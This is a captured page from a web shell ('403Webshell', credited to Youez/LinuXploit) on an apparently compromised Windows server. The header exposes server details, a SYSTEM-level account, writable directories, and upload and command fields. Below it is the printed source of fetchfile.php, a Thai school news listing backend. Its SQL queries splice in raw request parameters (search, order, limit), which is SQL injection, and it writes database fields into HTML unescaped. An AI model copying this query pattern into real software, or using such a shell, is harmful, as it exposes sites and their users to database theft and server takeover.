403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/news/group/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/news/group/fetchfile.php
<?php
session_start();
$uid=$_SESSION["uid"];
/* Database connection start */
include "db.php";
$table = "sc_news";


/* Database connection end */


// storing  request (ie, get/post) global array to a variable  
$requestData= $_REQUEST;


$columns = array( 
// column ของตารางในฐานข้อมูล
	0 =>'id',
	1 =>'title', 
	2 => 'date_news',
	3=> 'views'

);

// getting total number records without any search
$sql = "SELECT * FROM $table WHERE uid='$uid' ";
$query=mysqli_query($conn, $sql) or die("fetchfile.php: get $table");
$totalData = mysqli_num_rows($query);
$totalFiltered = $totalData;  // when there is no search parameter then total number rows = total number filtered rows.


$sql = "SELECT * FROM $table WHERE uid='$uid' ";
if( !empty($requestData['search']['value']) ) {   // if there is a search parameter, $requestData['search']['value'] contains search parameter
	$sql.=" AND ( title LIKE '%".$requestData['search']['value']."%' ";    
	$sql.=" OR date_news LIKE '%".$requestData['search']['value']."%' ";

	$sql.=" OR views LIKE '".$requestData['search']['value']."%' )";
}
$query=mysqli_query($conn, $sql) or die("fetchfile.php: get $table");
$totalFiltered = mysqli_num_rows($query); // when there is a search parameter then we have to modify total number filtered rows as per search result. 
$sql.=" ORDER BY ". $columns[$requestData['order'][0]['column']]."   ".$requestData['order'][0]['dir']."  LIMIT ".$requestData['start']." ,".$requestData['length']."   ";
/* $requestData['order'][0]['column'] contains colmun index, $requestData['order'][0]['dir'] contains order such as asc/desc  */	
$query=mysqli_query($conn, $sql) or die("fetchfile.php: get $table");

$data = array();
$i=1+$requestData['start'];
while( $row=mysqli_fetch_array($query) ) {  // preparing an array
	$nestedData=array(); 

	$nestedData[] = '<center>'.number_format($i).'</center>';
	$nestedData[] = '<a href=\'view.php?id='.$row[0].'\' target=\'_blank\'>'.$row["title"].'</a>';
	$nestedData[] = '
	<center>
		<div class=\'btn-group\'>
		<button type=\'button\' class=\'btn btn-info btn-xs\'>เลือก</button>
			<button type=\'button\' class=\'btn btn-info dropdown-toggle btn-xs\' data-toggle=\'dropdown\'>
				<span class=\'caret\'></span>
				<span class=\'sr-only\'>Toggle Dropdown</span>
			</button>
			<ul class=\'dropdown-menu\' role=\'menu\'>
				<li><a href="#" data-toggle="modal" data-target="#modal-edit'.$row[0].'"><span class=\'glyphicon glyphicon-edit\'></span> แก้ไข</a></li>
				<li class=\'divider\'></li>
				<li><a href=\'#\' data-toggle=\'modal\' data-target=\'#modal-del'.$row[0].'\'><span class=\'glyphicon glyphicon-trash\'></span> ลบ</a>
				</li>
			</ul>
	</div></center>

<div class=\'modal fade\' id=\'modal-del'.$row[0].'\'>
          <div class=\'modal-dialog\'>
            <div class=\'modal-content\'>
              <div class=\'modal-header\'>
                <button type=\'button\' class=\'close\' data-dismiss=\'modal\' aria-label=\'Close\'>
                  <span aria-hidden=\'true\'>&times;</span></button>
                <h4 class=\'modal-title\'>ลบข้อมูล</h4>
              </div>
	<form action=\'file_delete_sc.php?id='.$row[0].'&uid='.$uid.'&file_name='.$row['file_name'].'\' class=\'form-horizontal\' method=\'post\' name=\'Form1\' enctype=\'multipart/form-data\'>		  
              <div class=\'modal-body\'>
			  <div class=\'row clearfix\'>
				<div class=\'col-md-2\'>
				<center><img src=\'images/what.jpg\' width=\'70\'></center>
				</div>
				<div class=\'col-md-10\'><br>
					<p align=\'left\'>'.$row["title"].' จะถูกลบออกจากฐานข้อมูลไม่สามารถนำกลับมาใช้ได้ใหม่</p>
				</div>
              </div>
			  </div>
              <div class=\'modal-footer\'>
                <button type=\'button\' class=\'btn btn-default pull-left\' data-dismiss=\'modal\'>ยกเลิก</button>
                <button type=\'submit\' class=\'btn btn-danger\'>ลบข้อมูล</button>
              </div>
	</form>		  
            </div>
          </div>
</div>	

<div class=\'modal fade\' id=\'modal-edit'.$row[0].'\'>
          <div class=\'modal-dialog\'>
            <div class=\'modal-content\'>
              <div class=\'modal-header\'>
                <button type=\'button\' class=\'close\' data-dismiss=\'modal\' aria-label=\'Close\'>
                  <span aria-hidden=\'true\'>&times;</span></button>
                <h4 class=\'modal-title\'>แก้ไขข้อมูล</h4>
              </div>
	<form action=\'file_school_edit_save.php?id='.$row[0].'&uid='.$uid.'\' class=\'form-horizontal\' method=\'post\' name=\'Form1\' enctype=\'multipart/form-data\'>		  
              <div class=\'modal-body\'>
	<input type=\'hidden\' value=\''.$row[0].'\' name=\'id\' id=\'id\' />

<div class=\'row\'>
<div class=\'col-md-2\'>
ชื่อเรื่อง 
</div>
<div class=\'col-md-10\'>
<input class=\'form-control\' name=\'title\' style=\'width:460px;\'  type=\'text\' value=\''.$row['title'].'\' required>
</div>
</div>	
<div class=\'row\'><br></div> 
<div class=\'row\'>
<div class=\'col-md-2\'>
รายละเอียด
</div>
<div class=\'col-md-10\'>
<textarea class=\'form-control input-sm\' name=\'detail\' style=\'width:460px;\' rows=\'6\' >'.$row['detail'].'</textarea>
</div>
</div>	
<div class=\'row\'><br></div> 

<div class=\'row\'>
<div class=\'col-md-2\'>
ไฟล์  
</div>
					<div class=\'col-sm-10\'>
								<table width=\'420\' border=\'0\' align=\'left\'>
									<tr>
										<td align=\'right\' valign=\'middle\'><input id=\'uploadFile'.$row[0].'\' style=\'width:370px;\' placeholder=\''.$row['file_name'].'\' disabled=\'disabled\' class=\'form-control\' name=\'fileUpload\' ></td>
										<td width=\'100\' align=\'left\' valign=\'middle\'>
										<div class=\'fileUpload btn btn-primary\'>
										<span>เลือกไฟล์</span>
										<input id=\'uploadBtn'.$row[0].'\' type=\'file\' class=\'upload\'  accept=\'.pdf,.zip,.rar\' name=\'fileUpload[]\' >
										</div>
										</td>
									</tr>
								</table>

								
									<script type=\'text/javascript\'>  
										document.getElementById(\'uploadBtn'.$row[0].'\').onchange = function () {  
										document.getElementById(\'uploadFile'.$row[0].'\').value = this.value;
										};
									</script>
								
					</div> 
</div>

 
			  </div>
              <div class=\'modal-footer\'>
                <button type=\'button\' class=\'btn btn-default pull-left\' data-dismiss=\'modal\'>ยกเลิก</button>
                <button type=\'submit\' class=\'btn btn-success\'>บันทึก</button>
              </div>
	</form>		  
            </div>
          </div>
</div>
	
	';	
	$nestedData[] = $row["date_news"];
	$nestedData[] = '<center>'.number_format($row["views"]).'</center>';

	$data[] = $nestedData;
	$i++;
}



$json_data = array(
			"draw"            => intval( $requestData['draw'] ),   // for every request/draw by clientside , they send a number as a parameter, when they recieve a response/data they first check the draw number, so we are sending same number in draw. 
			"recordsTotal"    => intval( $totalData ),  // total number of records
			"recordsFiltered" => intval( $totalFiltered ), // total number of records after searching, if there is no searching then totalFiltered = totalData
			"data"            => $data   // total data array
			);

echo json_encode($json_data);  // send data as json format

?>

Youez - 2016 - github.com/yon3zu
LinuXploit